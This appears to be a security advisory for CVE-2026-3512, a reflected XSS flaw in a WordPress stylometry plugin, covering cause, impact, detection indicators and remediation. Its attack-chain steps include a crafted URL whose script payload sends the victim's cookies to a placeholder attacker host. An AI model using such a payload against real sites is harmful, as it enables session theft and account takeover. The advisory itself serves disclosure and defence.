CVE-2026-3512: 
WordPress vulnerability analysis and mitigation

CVE-2026-3512 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Writeprint Stylometry plugin for WordPress, affecting all versions up to and including 0.1. The flaw exists in the bjl_wprintstylo_comments_nav() function, which directly outputs the $_GET['p'] parameter into an HTML href attribute without sanitization or escaping. It was published on March 18, 2026, and assigned a CVSS v3.1 base score of 6.1 (Medium) (Wordfence, ENISA EUVD).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically due to the bjl_wprintstylo_comments_nav() function in writeprint-stylometry.php (around line 341–345) directly embedding the unsanitized $_GET['p'] value into an HTML href attribute. An attacker crafts a malicious URL containing a JavaScript payload in the p GET parameter and tricks a victim into clicking it; the server reflects the payload back in the page response, causing the victim's browser to execute the script. Exploitation requires the victim to interact with a crafted link, but no server-side privilege is required to construct the malicious URL (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site, potentially leading to session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim. The scope is changed (cross-origin impact), with low confidentiality and low integrity impact; availability is not affected. Higher-privileged users (e.g., administrators) clicking a crafted link could result in site takeover or further compromise (Wordfence, ENISA EUVD).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-3512 as of the available data. The EPSS score is approximately 0.025% (0.000250), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. While the attack vector is network-accessible and requires no server-side privileges, user interaction (clicking a crafted link) is required, limiting opportunistic exploitation (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Writeprint Stylometry plugin version 0.1 or earlier using tools like WPScan or Google dorks (e.g., inurl:writeprint-stylometry).
2. Identify vulnerable endpoint: Locate a page on the target site that invokes the bjl_wprintstylo_comments_nav() function, which renders navigation links using the unsanitized p GET parameter.
3. Craft malicious URL: Construct a URL targeting the vulnerable page with a JavaScript payload injected into the p parameter, for example: https://target-site.com/page/?p="><script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver the payload: Send the crafted URL to a target user (e.g., a site administrator) via phishing email, social engineering, or embedded link.
5. Achieve objective: When the victim clicks the link, their browser renders the reflected payload, executing the attacker's JavaScript — enabling session cookie theft, credential capture, or other client-side attacks (Wordfence, WordPress Trac).

• Network: HTTP GET requests to WordPress pages with the p parameter containing URL-encoded JavaScript (e.g., %3Cscript%3E, javascript:, onerror=, onload=) or HTML-breaking characters (", >, <).
• Logs: Web server access logs showing requests to plugin-rendered pages with suspicious p parameter values; unusual outbound connections from victim browsers to external attacker-controlled domains shortly after page load.
• Browser/Client: Unexpected redirects or pop-ups on WordPress pages using the Writeprint Stylometry plugin; session cookies transmitted to unknown external hosts.

The primary remediation is to remove or disable the Writeprint Stylometry plugin, as no patched version beyond 0.1 has been confirmed available at the time of disclosure. WordPress site administrators should audit installed plugins and uninstall any that are unmaintained or unnecessary. As a general hardening measure, implement a Web Application Firewall (WAF) rule to block requests with XSS payloads in GET parameters. Monitor the WordPress plugin repository for an updated version that properly escapes the p parameter using WordPress functions such as esc_url() or esc_attr() before output (Wordfence, WordPress Trac).

The vulnerability was reported and disclosed by Wordfence, which assigned it to the ENISA EUVD database (EUVD-2026-12783). A brief technical write-up was published by Infinit Security shortly after disclosure. No significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified (Wordfence, Infinit Security).